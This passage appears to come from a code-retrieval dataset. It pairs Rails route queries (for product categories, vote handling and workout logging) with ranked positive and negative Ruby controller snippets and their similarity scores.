"text": "def can_post_vote(post)\n if current_user.blank?\n true && (!post.user.admin?) #show vote block unless posted by an admin\n else\n (!post.user.admin?) && (post.user_id != current_user.id)\n end\n end",
"title": ""
},
{
"docid": "9d9c89747d5c5e801fcb2f3ff2dcc0ea",
"score": "0.6257104",
"text": "def set_vote\n @vote = Vote.find(params[:id])\n end",
"title": ""
},
{
"docid": "9d9c89747d5c5e801fcb2f3ff2dcc0ea",
"score": "0.6256496",
"text": "def set_vote\n @vote = Vote.find(params[:id])\n end",
"title": ""
},
{
"docid": "9d9c89747d5c5e801fcb2f3ff2dcc0ea",
"score": "0.6256496",
"text": "def set_vote\n @vote = Vote.find(params[:id])\n end",
"title": ""
},
{
"docid": "9d9c89747d5c5e801fcb2f3ff2dcc0ea",
"score": "0.6256496",
"text": "def set_vote\n @vote = Vote.find(params[:id])\n end",
"title": ""
},
{
"docid": "f8b2caf2fc84375341782f8682974218",
"score": "0.6252253",
"text": "def like_votes\n votes_as(true).order('updated_at DESC')\n end",
"title": ""
}
] |
eb4b444cc783586bb4dc3fb30bbba850
|
GET /cat_prodottos GET /cat_prodottos.json
|
[
{
"docid": "39f6d09c4566f669c65521d423d84a93",
"score": "0.69903415",
"text": "def index\n @cat_prodottos = CatProdotto.all\n end",
"title": ""
}
] |
[
{
"docid": "bf89c01819c5ecab0fe25714c22f3dd1",
"score": "0.7168178",
"text": "def charcuterie\n @produits = Produit.find_all_by_id_cat (2)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @produits }\n end\n end",
"title": ""
},
{
"docid": "396f2465630553f7675bc7cab32b7ca8",
"score": "0.69563323",
"text": "def listCatProds\n if(Category.find_by(id: params[:cat_id]) == nil)\n render json: {data: \"\", status: false, reason: \"Category not found!\"}\n return\n end\n cat = params[:cat_id]\n ret = []\n Product.where(category_id: cat).find_each do |p|\n ret << {id: p.id, category_id: p.category_id, name: p.name, price: p.price, picture_list: p.picture_list, desc: p.desc}\n end\n if(ret.size == 0)\n render json: {data: \"\", status: false, reason: \"Category empty!\"}\n return\n end\n render json: {data: ret.to_json, status: true, reason: ''}\n end",
"title": ""
},
{
"docid": "766bbd1e6cd9047fac0bdf3bec54c612",
"score": "0.68753564",
"text": "def fromage\n @produits = Produit.find_all_by_id_cat (1)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @produits }\n end\n end",
"title": ""
},
{
"docid": "521d2d619fc768cf5888210268be00b5",
"score": "0.6797253",
"text": "def my_pet_pros \n @person = Person.find(params[:person_id])\n @pro_connections = @person.person_connections.where(:category => ['Dog Walk Client', 'Groomer Client', 'Boarding Client', 'Veterinary Client'])\n @clients = []\n @pro_connections.each do |pc|\n @clients << Person.find(pc.person_b_id)\n end\n logger.debug(\"@clients.size = #{@clients.size}\")\n\n render json: {:person => @person, :clients => @clients }, :layout => false\n end",
"title": ""
},
{
"docid": "3fc6b4f32041090c53f255b04bc8fd16",
"score": "0.6418867",
"text": "def index\n @produtos = Produto.all\n\n render json: @produtos\n end",
"title": ""
},
{
"docid": "a33180ad1e17c980214ed6393c7d2653",
"score": "0.63798064",
"text": "def index\n @procesos = Proceso.all\n\n render json: @procesos\n end",
"title": ""
},
{
"docid": "6ba03dc4089de068ac02b8a9fdfe9899",
"score": "0.63481194",
"text": "def show\n @prodotto = Prodotto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prodotto }\n end\n end",
"title": ""
},
{
"docid": "8e1abd1795c29bc436d5ced01a91a98d",
"score": "0.62518996",
"text": "def get_appcon_categories \n get(\"/appcon.json/categories\")\nend",
"title": ""
},
{
"docid": "8ff76a9143f76410ab32862ac5f0876b",
"score": "0.6214437",
"text": "def set_cat_prodotto\n @cat_prodotto = CatProdotto.find(params[:id])\n end",
"title": ""
},
{
"docid": "877f75dab60d86dedb547dd72e9a16a7",
"score": "0.6157355",
"text": "def show\n @procon = Procon.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @procon }\n end\n end",
"title": ""
},
{
"docid": "bef5985f98843b9083ffb1e3a6a03fd6",
"score": "0.61350644",
"text": "def costco\n sem3 = Semantics3::Products.new(API_KEY,API_SECRET)\n CATEGORIES.each do |category|\n sem3.products_field( \"cat_id\", category )\n sem3.products_field( \"sitedetails\", \"name\", \"costco.com\" )\n productsHash = sem3.get_products\n puts \"Results of query:\\n\",productsHash.to_json\n end\n end",
"title": ""
},
{
"docid": "ac29ec1c64f22e52fd6ae72b9fdecd55",
"score": "0.6116444",
"text": "def get_courses\n @prof = Professor.find(params[:pro_id])\n\n render json: @prof.courses\n end",
"title": ""
},
{
"docid": "21e1b7252864b9c7a58d0ddb455191a7",
"score": "0.6109264",
"text": "def show\n render json: @propietario\n end",
"title": ""
},
{
"docid": "d9467b9d3d5e8218c73eaa87d401a341",
"score": "0.6091917",
"text": "def index\n @produits = Produit.where(:type_of_produit => \"Produit\").limit(15).order(\"created_at DESC\")\n @services = Produit.where(:type_of_produit => \"Service\").limit(15).order(\"created_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @produits }\n end\n end",
"title": ""
},
{
"docid": "b878364a872ca68823f70736da16b447",
"score": "0.608762",
"text": "def create\n @cat_prodotto = CatProdotto.new(cat_prodotto_params)\n\n respond_to do |format|\n if @cat_prodotto.save\n format.html { redirect_to @cat_prodotto, notice: 'Cat prodotto was successfully created.' }\n format.json { render :show, status: :created, location: @cat_prodotto }\n else\n format.html { render :new }\n format.json { render json: @cat_prodotto.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9ec44feb13b3850376bf65972856cb7b",
"score": "0.6081157",
"text": "def index\n @prospies = Prospy.order('created_at desc').page(params[:page]).per(25)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @prospies }\n end\n end",
"title": ""
},
{
"docid": "ff979782a50c2c772bedc24504bb3699",
"score": "0.6048031",
"text": "def lista_prospecto\n\t\tprospectos = Prospecto.where(\"tipo = ? and estado_id = ?\", params[:tipo], 2)\n\n\t listaprospectos = prospectos.map do |prospecto|\n\t \tcontenidos = Contenido.find_by(prospecto_id: prospecto.id) #, estado_id: 2\n\t \n\t \t{\n\t\t :id => prospecto.id,\n\t\t :nombre => prospecto.nombre,\n\t\t :imagen => prospecto.imagen,\n\t\t :imagen_file_name => prospecto.imagen_file_name,\n\t\t :contenido => {\n\t\t \t:descripcion => contenidos.descripcion,\n\t\t \t:version => contenidos.version,\n\t\t \t }\n\t\t\t}\n\t end\n\n\t\treturn render json: {prospectos: listaprospectos}.to_json, status: :ok\n\tend",
"title": ""
},
{
"docid": "a2e544f6353d48c3f219f9c6eb1fd5c3",
"score": "0.60479945",
"text": "def index\n @prodcategories = Prodcategory.all\n end",
"title": ""
},
{
"docid": "fd9ebcc697fb371b778f6ad375009c71",
"score": "0.60367364",
"text": "def get_all_apps_with_categories \n get(\"/appcon.json/\")\nend",
"title": ""
},
{
"docid": "da1250c175a948dbe35c30638172ecdb",
"score": "0.6035648",
"text": "def show\n @propietario = Propietario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @propietario }\n end\n end",
"title": ""
},
{
"docid": "114040945e26db02c7671ebbf818c892",
"score": "0.60301274",
"text": "def index\n @categoria_cotas = CategoriaCota.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categoria_cotas }\n end\n end",
"title": ""
},
{
"docid": "e44f1f0af60bfa529da691670ca9174c",
"score": "0.60279334",
"text": "def show\n @balanco = Balanco.find(params[:id])\n \n @balanco.produto_aferidos.each do |p|\n \n url = Ceam::Application::URL_VPSA + '/produtos/' + p.idProduto.to_s\n \n produtoVPSA = HTTParty.get(url)\n \n p.nomeProduto = produtoVPSA['descricao']\n p.estoque = produtoVPSA['quantidadeEmEstoque']\n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @balanco.produtos.to_json(:methods => [:nomeProduto,:estoque])}\n end\n end",
"title": ""
},
{
"docid": "f4a97daa4af898081adfead17c49c95b",
"score": "0.60199577",
"text": "def index\n @profs = Prof.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @profs }\n end\n end",
"title": ""
},
{
"docid": "6db751cf27da538374189546f5af08c6",
"score": "0.60023445",
"text": "def index\n @prodottos = Prodotto.all\n end",
"title": ""
},
{
"docid": "6db751cf27da538374189546f5af08c6",
"score": "0.60023445",
"text": "def index\n @prodottos = Prodotto.all\n end",
"title": ""
},
{
"docid": "e20cb5d393eed5c1f06427d628bcdeff",
"score": "0.5977621",
"text": "def index\n # @composers = Composer.all\n @composers = @category.composers \n\n render json: @composers \n end",
"title": ""
},
{
"docid": "bd1be946c799de7a266ab66519169a68",
"score": "0.5977",
"text": "def show\n @progect = Progect.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @progect }\n end\n end",
"title": ""
},
{
"docid": "71be772236007c7e57a0d5772e4049f2",
"score": "0.59571815",
"text": "def index\n @pregunta = Pregunta.all\n\n # buscamos parametro de tipo para filtrar la consulta\n if tipo = params[:tipo]\n @pregunta = @pregunta.where(tipo: tipo)\n end\n\n respond_to do |format|\n if @pregunta.count > 0\n #render json:@pregunta, :only =>[:id, :descripcion, :obligatoria], status: :ok \n format.json\n else\n format.json { render json:Pregunta.none, status: :no_content }\n end\n end\n end",
"title": ""
},
{
"docid": "539a52ddba8e4c38d480eb4633636ab1",
"score": "0.59544194",
"text": "def show\n @copipe = Copipe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @copipe }\n end\n end",
"title": ""
},
{
"docid": "3b14da2700c7434c122273a9a49ef810",
"score": "0.5943888",
"text": "def show\n @categoria_cota = CategoriaCota.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @categoria_cota }\n end\n end",
"title": ""
},
{
"docid": "47c36139384cc4f11ebc664439615448",
"score": "0.59278524",
"text": "def show\n @tipos_projeto = TiposProjeto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipos_projeto }\n end\n end",
"title": ""
},
{
"docid": "266b073ed7ded56418ad36a325faaed6",
"score": "0.5924457",
"text": "def show\n render json: @produto\n end",
"title": ""
},
{
"docid": "8b24922d0583d74a755f4dee3638f0ed",
"score": "0.59213424",
"text": "def show\n @product = Product.find(params[:id])\n @product_cat = @product.product_cats\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end",
"title": ""
},
{
"docid": "7d1672d3a3e298dbb4864a8e47647188",
"score": "0.5900502",
"text": "def index\n @propeties = Propety.all\n end",
"title": ""
},
{
"docid": "1945f36528d833e24d02acb7c3d412f0",
"score": "0.58960766",
"text": "def get_appcon_categories \n get(\"/appcon.json/categories\")\n end",
"title": ""
},
{
"docid": "a0f4d41a4643e66f4d9d3ab4be2bef76",
"score": "0.58870393",
"text": "def show\n @produkt = Produkt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @produkt }\n end\n end",
"title": ""
},
{
"docid": "a48a033a788fdebb2a77104f36901d8c",
"score": "0.58801943",
"text": "def index\n @pessoas = Pessoa.all\n render json: @pessoas\n end",
"title": ""
},
{
"docid": "fba6f5e8413161d145eb861044137494",
"score": "0.5879562",
"text": "def get_products_by_category\n category = Category.find(params[:category_id])\n products = category.products\n\n json_response(:count => products.length, :rows => products)\n end",
"title": ""
},
{
"docid": "8c1f13581e9874ee211a3ac2f604d8d8",
"score": "0.5879081",
"text": "def index\n #binding.pry\n #@progects = Progect.find_by_user_id(current_user.id)\n @progects = Progect.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @progects }\n end\n end",
"title": ""
},
{
"docid": "92a6a3f0560926e9e04fa5a12e077863",
"score": "0.58789366",
"text": "def getKind\n @products = Product.where(\"kind = ?\", params[:kind]).available.PriceOrder.paginate(page: params[:page], per_page: 5)\n render json: @products\n end",
"title": ""
},
{
"docid": "f293bebc10b3d395ec32cf68fbb61fdf",
"score": "0.58744156",
"text": "def index\n @propietarios = Propietario.all\n end",
"title": ""
},
{
"docid": "229e90929026a813fe6f7a130e3f67cf",
"score": "0.58740336",
"text": "def index\n @convos = Convo.all\n render json: @convos\n end",
"title": ""
},
{
"docid": "3efbde91ecf72003d4df7f00ef945069",
"score": "0.58711463",
"text": "def index\n if params[:categoria].present?\n if params[:categoria] == 'promocoes'\n @promocoes = Promocao.ativas.includes(:produto).order(created_at: :desc)\n render :promocoes\n else\n @produtos = Produto.where(categoria_id: params[:categoria])\n end\n else\n @produtos = Produto.all\n end\n end",
"title": ""
},
{
"docid": "0765536c533bb22989c793eac72911ae",
"score": "0.5866815",
"text": "def index\n @propietario = Propietario.all.select(:id_auto, :cedula, :tarjeta, :licencia, :email, :telefono, :direccion)\n render json: @propietario\n end",
"title": ""
},
{
"docid": "cd35ac46aad5294862a9f9ae254ee78e",
"score": "0.58541423",
"text": "def index\n @prodottis = Prodotti.all\n end",
"title": ""
},
{
"docid": "380e3254a82713926a763538e3f97950",
"score": "0.5852084",
"text": "def show\n @produto = Produto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @produto }\n end\n end",
"title": ""
},
{
"docid": "796df193bd671922cde6ee824cc90dcf",
"score": "0.5852083",
"text": "def index\n @propietarios = Propietario.all_descriptive.paginate(page: params[:page])\n end",
"title": ""
},
{
"docid": "c0c2aded85d185dfdcee37c4dac12eb8",
"score": "0.5850322",
"text": "def show\n @produto = Produto.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @produto }\n end\n end",
"title": ""
},
{
"docid": "7de58e69cbfd890cf8f55c333b016fcb",
"score": "0.58478683",
"text": "def show\n @politico = Politico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @politico }\n end\n end",
"title": ""
},
{
"docid": "c748c7ab785fc8dc90ee1f38eeec888f",
"score": "0.58464944",
"text": "def show\n @product_cat = ProductCat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @product_cat }\n end\n end",
"title": ""
},
{
"docid": "2353f066949c4234294cd0267933d3b8",
"score": "0.584416",
"text": "def destroy\n @cat_prodotto.destroy\n respond_to do |format|\n format.html { redirect_to cat_prodottos_url, notice: 'Cat prodotto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9ae0338d4622c60befacb27bda3aab50",
"score": "0.58336174",
"text": "def index\n if params[:cooperativa_id]\n @cotacaos = Cotacao.where(:status_id => Status.find_by_descricao('Ativo'), :cooperativa_id => Cooperativa.find(params[:cooperativa_id]))\n else\n @cotacaos = Cotacao.where(:status_id => Status.find_by_descricao('Ativo'))\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cotacaos }\n end\n end",
"title": ""
},
{
"docid": "f477230c33075803bfb6dd600eb6cf1b",
"score": "0.58317643",
"text": "def categorize\n out = {}.to_json\n if params[:url]\n # uri_enc_url = Rack::Utils.escape(params[:url])\n endpoint = \"http://access.alchemyapi.com/calls/url/URLGetCategory\"\n q = \"#{endpoint}?apikey=#{ENV[\"ALCHEMY_KEY\"]}&url=#{params[:url]}&outputMode=json\"\n out = RestClient.get(q)\n end\n respond_to do |format|\n format.html\n format.json { render :json => out.body }\n end\n end",
"title": ""
},
{
"docid": "4fc72acc03a77280da78c87092dafb4c",
"score": "0.5826427",
"text": "def show\n @precio = Precio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @precio }\n end\n end",
"title": ""
},
{
"docid": "331773cec7c30cc048544475537fa69b",
"score": "0.58202285",
"text": "def new\n @prodotto = Prodotto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prodotto }\n end\n end",
"title": ""
},
{
"docid": "0a6cd62cc12226d35e19bec048009100",
"score": "0.5813453",
"text": "def show\n @category = Category.find(params[:id])\n @all_projects = @category.projects.order(\"updated_at DESC\")\n @projects = @category.projects.order(\"updated_at DESC\")\n\n respond_to do |format|\n format.html\n format.json { render :json => @collections }\n end\n end",
"title": ""
},
{
"docid": "31482a99bd856c7f6f0b8ac6e0588bed",
"score": "0.58123314",
"text": "def index\n @provis = Provi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @provis }\n end\n end",
"title": ""
},
{
"docid": "ce377d55f93c46695475824b290d92b8",
"score": "0.5811794",
"text": "def index\n @produits = Produit.all.order_by(nom: 1).paginate(page: params[:page], per_page: 20)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @produits }\n end\n end",
"title": ""
},
{
"docid": "85578fcc4b2a0eeb61bf7a67e24775c1",
"score": "0.5809992",
"text": "def show\n @grupo = Grupo.find(params[:grupo_id])\n @proposta = Proposta.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @proposta }\n end\n end",
"title": ""
},
{
"docid": "ce58589d2ac74ad53263310502ff7825",
"score": "0.58062935",
"text": "def listPro\n @pc = ChildrenContact.find_by_sql([\"Select * FROM users u , professionals_to_children pc\n WHERE u.id = pc.user_id AND pc.child_id = ? AND u.user_level = 1\", params[:id]])\n render json: @pc\n end",
"title": ""
},
{
"docid": "f96085b18430e80de0b41093f8619235",
"score": "0.5801606",
"text": "def getProduit\r\n marche = params[:id]\r\n render json: Produit.where(market_id: marche)\r\n end",
"title": ""
},
{
"docid": "c7cbfc9b1ae530a836e29c12842479bf",
"score": "0.5795124",
"text": "def index\n @product_cats = ProductCat.all\n @page_title = \"Product Categories\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @product_cats }\n end\n end",
"title": ""
},
{
"docid": "7e1075e17215fd2ea41ef0bf84536056",
"score": "0.5794867",
"text": "def show\n @provi = Provi.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @provi }\n end\n end",
"title": ""
},
{
"docid": "0621e60ea60143ca662b69497134d0b7",
"score": "0.57827985",
"text": "def show\n @localizacao = Localizacao.find(params[:id])\n \n @localizacao.produtos.each do |p|\n\n produtoVPSA = HTTParty.get( url_vpsa_load_produtos p.idProduto.to_s '93' )\n \n p.nomeProduto = produtoVPSA['descricao']\n p.estoque = produtoVPSA['quantidadeEmEstoque']\n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @localizacao.produtos.to_json(:methods => [:nomeProduto,:estoque])}\n end\n end",
"title": ""
},
{
"docid": "952d60e312f7eb6105a532f35cf1f0e8",
"score": "0.5780303",
"text": "def show\n @prova = @aluno.provas.find(params[:id])\n\n if params[:aluno_id]\n @aluno = Aluno.where(:id => params[:id].first)\n @provas = aluno_prova_path\n else\n @provas = Provas.all\n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prova }\n end\n end",
"title": ""
},
{
"docid": "df27721951a0c143c7bb2404249c8432",
"score": "0.5775059",
"text": "def index\n if params[:category_id].nil?\n @task_profiles = TaskProfile.includes(:question_set).all\n else\n @category = Category.find(params[:category_id])\n @task_profiles = @category.task_profiles.order(:name)\n end\n render json: @task_profiles\n end",
"title": ""
},
{
"docid": "5e37e63fc9b38aff150ba996d62c048a",
"score": "0.57717955",
"text": "def show\n @cargo_categoria = CargoCategoria.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cargo_categoria }\n end\n end",
"title": ""
},
{
"docid": "0d18d2ca28365103fa53a2ed02842fc6",
"score": "0.5767895",
"text": "def index\n @prodotti = Prodotto.scoped\n @prodotti = @prodotti.where(\"cda_prodotto LIKE ?\", \"%#{params[:q].upcase}%\") if params[:q] \n @prodotti = @prodotti.order('cda_prodotto ASC').limit(10)\n respond_with(@prodotti)\n end",
"title": ""
},
{
"docid": "8b74711ab0768b1ffe166ea19ba7f83b",
"score": "0.5757769",
"text": "def index\n if params[:pedido_producto]\n @pedido = Pedido.find(params[:pedido_id])\n authorize! :read, @pedido\n @pedido.productos.reload\n render json: @pedido.productos.con_precio\n\n elsif params[:negocio_producto]\n @negocio = Negocio.find(params[:negocio_id])\n # Actualizar colección de productos\n authorize! :read, @negocio\n @negocio.productos.reload\n render json: @negocio.productos.con_precio\n else\n authorize! :read, @producto\n render json: @productos\n end\n end",
"title": ""
},
{
"docid": "79a4d3097a5cc5e23c7e251885c50e64",
"score": "0.5755225",
"text": "def index\n @congties = Congty.paginate(:page => params[:page]).order('tenct ASC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @congties }\n end\n end",
"title": ""
},
{
"docid": "3b05d1523e6b178475065f7912f8e535",
"score": "0.57516664",
"text": "def show\n @profissional = Profissional.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profissional }\n end\n end",
"title": ""
},
{
"docid": "96d73ba638562aebb76d24cacf8cde11",
"score": "0.5743008",
"text": "def update\n respond_to do |format|\n if @cat_prodotto.update(cat_prodotto_params)\n format.html { redirect_to @cat_prodotto, notice: 'Cat prodotto was successfully updated.' }\n format.json { render :show, status: :ok, location: @cat_prodotto }\n else\n format.html { render :edit }\n format.json { render json: @cat_prodotto.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6ee05f8417819284d3ad6babf9ac9943",
"score": "0.5742482",
"text": "def index\n @prodcutos = Prodcuto.all\n end",
"title": ""
},
{
"docid": "1545e8221b3af4905798987ccee052b1",
"score": "0.5740429",
"text": "def index\n @pelicula = Pelicula.all\n render json: @pelicula, status: :ok \n end",
"title": ""
},
{
"docid": "b8b393cf6fc16c09536ff62b23506825",
"score": "0.5736489",
"text": "def index\n @provincias = Provincia.all\n end",
"title": ""
},
{
"docid": "6ca6bab3c9f8a6323d9f9ec5c018f9fa",
"score": "0.5734677",
"text": "def index\n @proprietarios = Proprietario.all\n end",
"title": ""
},
{
"docid": "528cbcb4c0fe823bd9f8f4d819636bc1",
"score": "0.57331127",
"text": "def index\n @tipoproductos = Tipoproducto.page(params[:page]).per(10) \n end",
"title": ""
},
{
"docid": "574c152a5e067e7dc3e4ed7cedf8d9b3",
"score": "0.5731554",
"text": "def show\n @categoria = Categoria.includes(:productos, :foto).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @categoria }\n end\n end",
"title": ""
},
{
"docid": "7948f3a7b531b5788e23ff5fdd409a02",
"score": "0.5711602",
"text": "def show\n @protagnist = Protagnist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @protagnist }\n end\n end",
"title": ""
},
{
"docid": "cc60bb0271b8e66ad8df7caa9d822b80",
"score": "0.5711036",
"text": "def index\n @prosumers = Prosumer.includes(:cluster, :building_type, :connection_type).category(params[:category]).\n order(sort_column + ' ' + sort_direction).paginate(page: params[:page], per_page: (params[:per_page] || 50))\n end",
"title": ""
},
{
"docid": "715cd8de9f976eba14854cc015273c4a",
"score": "0.57103366",
"text": "def preguntas\n # Buscar por \"seccion='5'\" en la tabla de secciones\n\n categorias = SeccionesListCat.order(\"orden ASC\").where(:seccion => 5, :activo => true)\n\n @result = []\n categorias.each do |categoria|\n @result << {\n \"idCategoria\" => categoria.idcategoria,\n \"nombre\" => categoria.categoriaes,\n \"listadoPreguntas\" => categoria.getListadoPreguntas\n }\n end\n\n respond_to do |format|\n format.json { render json: @result }\n format.xml { render '/app/views/api_mesafijas/preguntas.xml.builder' }\n end\n end",
"title": ""
},
{
"docid": "e177713bfe079193c25578835867af1e",
"score": "0.5699592",
"text": "def index\n @cats = Cat.where(user_id: @user.id)\n\n render json: @cats\n end",
"title": ""
},
{
"docid": "45bbabc04d0f6a45165c883004881941",
"score": "0.5693805",
"text": "def show\n if params[:pedido_producto]\n @pedido = Pedido.find(params[:pedido_id])\n authorize! :read, @pedido\n @producto = Producto.find(params[:id])\n render json: @pedido.productos.find(@producto.id)\n elsif params[:negocio_producto]\n @negocio = Negocio.find(params[:negocio_id])\n authorize! :read, @negocio\n @negocio.productos.reload\n np = NegocioProducto.find_by negocio_id: @negocio.id, producto_id: params[:id]\n @producto.precio = np.precio\n render json: @producto\n else\n authorize! :read, @producto\n render json: @producto\n end\n end",
"title": ""
},
{
"docid": "2ae9c707ce334d5ad7f0ebd78bbc0fdb",
"score": "0.5689052",
"text": "def show\n @commerce_propose = CommercePropose.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @commerce_propose }\n end\n end",
"title": ""
},
{
"docid": "bdefe4591b580a3f2685313f424e8849",
"score": "0.5686415",
"text": "def show\n @cota = Cota.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cota }\n end\n end",
"title": ""
},
{
"docid": "4dfb8b4de27f87b4d56e6762454bcce2",
"score": "0.5683292",
"text": "def index\n @poas = Poa.all\n\n respond_to do |format|\n format.json { render json: @poas, :except => [:created_at, :updated_at], :include => {:tags => {:except => [:created_at, :updated_at]}}}\n end\n end",
"title": ""
},
{
"docid": "aa96aee811cbc99ba5a0d730828aa8ba",
"score": "0.56823033",
"text": "def index\n @proces = Proce.all\n end",
"title": ""
},
{
"docid": "4cf0dfa522dbce000516c826c8dc6159",
"score": "0.5680174",
"text": "def index\n @prospecto_meta_corto_plazos = ProspectoMetaCortoPlazo.all\n end",
"title": ""
},
{
"docid": "de07e5c053ccb95eb924b5877ff869d7",
"score": "0.56786805",
"text": "def show\n @cooperativa = Cooperativa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @cooperativa }\n end\n end",
"title": ""
},
{
"docid": "d998983de1cfc1606f3c46fc57f53cb1",
"score": "0.5676215",
"text": "def cat\n API.get('cat')['cat']\n end",
"title": ""
},
{
"docid": "53bd420683636825d6a1456bd9486e1e",
"score": "0.5675758",
"text": "def index\n @peticion_peticion_tis = Peticion::PeticionTi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @peticion_peticion_tis }\n end\n end",
"title": ""
},
{
"docid": "97ae08b9041304c1aaa5d0de04309248",
"score": "0.56745446",
"text": "def get_applications_by_category(args = {}) \n get(\"/clients.json/stats/category\", args)\nend",
"title": ""
},
{
"docid": "72fa4a6009e0af56023f8ccd6a8ecfcd",
"score": "0.5672541",
"text": "def index\n \tif params[:id_propio_empresa]\n\t\t\t@cuenta = Cuenta.find_by :id_propio_empresa => params[:id_propio_empresa]\n\t\telse\n\t\t\t@cuenta = Cuenta.all\n\t\tend\n\t\tif @cuenta\n\t\t\trender :json => @cuenta, :include => [:empresa, :pago]\n\t\telse\n\t\t\trender :json => {}, status: :not_found\n\t\tend\n\tend",
"title": ""
},
{
"docid": "b562bb1c0e03b41b512bc3f2c219b93d",
"score": "0.56639713",
"text": "def index\n @tipoproductos = Tipoproducto.all\n end",
"title": ""
},
{
"docid": "51ea57fcafe28ace1ac99853d21ecc72",
"score": "0.5661525",
"text": "def show\n render json: @pessoa\n end",
"title": ""
},
{
"docid": "1ff1ad60d24f9c0e115e8f4ddc6a5eb5",
"score": "0.56444275",
"text": "def show\n @catg_products = Product.where(category: params[:id]).page(params[:page]).per(2)\n end",
"title": ""
},
{
"docid": "82f9d49de91f0bde06b6389960fbe39c",
"score": "0.5635772",
"text": "def index\n @classrooms = Classroom.paginate(:page => params[:page], per_page: 30)\n @number = Classroom.count\n\n respond_to do |format|\n format.html\n format.json { render :json => Classroom.all.to_json(include: :category) }\n end\n end",
"title": ""
},
{
"docid": "42d2f3fbef77e4402401913098972196",
"score": "0.56352854",
"text": "def index\n @categorias = Categoria.paginate(page: params[:page]).includes(:foto)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categorias }\n end\n end",
"title": ""
},
{
"docid": "e9fce682da467779e67e9eceb825119a",
"score": "0.5630898",
"text": "def index\n @potions = Potion.where(owner: params[:owner])\n render json: @potions\n end",
"title": ""
},
{
"docid": "33349e56aa09c7fe5dcdb41e56513df7",
"score": "0.5629189",
"text": "def index\n @listaprecio = Listaprecio.find(params[:listaprecio_id])\n @precioarts = @listaprecio.precioarts\n\n respond_to do |format|\n format.html # index.html.erb\n #format.json { render json: @precioarts }\n end\n end",
"title": ""
}
] |
2113c69ca1996d74072e61dbae1e2a66
|
GET /workout_loggings/1 GET /workout_loggings/1.json
|
[
{
"docid": "a81945373733e4951b987de6ea99f9a1",
"score": "0.0",
"text": "def show\n end",
"title": ""
}
] |
[
{
"docid": "c5487008fc190cd187c805872bf6037e",
"score": "0.76588565",
"text": "def index\n @workout_loggings = WorkoutLogging.all\n end",
"title": ""
},
{
"docid": "f84b3d39e64f68078601f0d58e2fad52",
"score": "0.6825133",
"text": "def set_workout_logging\n @workout_logging = WorkoutLogging.find(params[:id])\n end",
"title": ""
},
{
"docid": "f303adbd906cb1aa93cfc4fb15fb7ea9",
"score": "0.67881733",
"text": "def create\n @workout_logging = WorkoutLogging.new(workout_logging_params)\n\n respond_to do |format|\n if @workout_logging.save\n format.html { redirect_to @workout_logging, notice: 'Workout logging was successfully created.' }\n format.json { render :show, status: :created, location: @workout_logging }\n else\n format.html { render :new }\n format.json { render json: @workout_logging.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "128c81877edf647080a3b4bc1eb2d6c7",
"score": "0.6562227",
"text": "def index\n @workout_sessions = WorkoutSession.find_all_by_user_id(current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @workout_sessions }\n end\n end",
"title": ""
},
{
"docid": "ff2a95e92d3e44f607517f8d50c4264a",
"score": "0.64927065",
"text": "def index\n workouts = @ws.workouts\n render json: workouts\n end",
"title": ""
},
{
"docid": "91d2d9e3a5580f2b6e49428eef735765",
"score": "0.64103955",
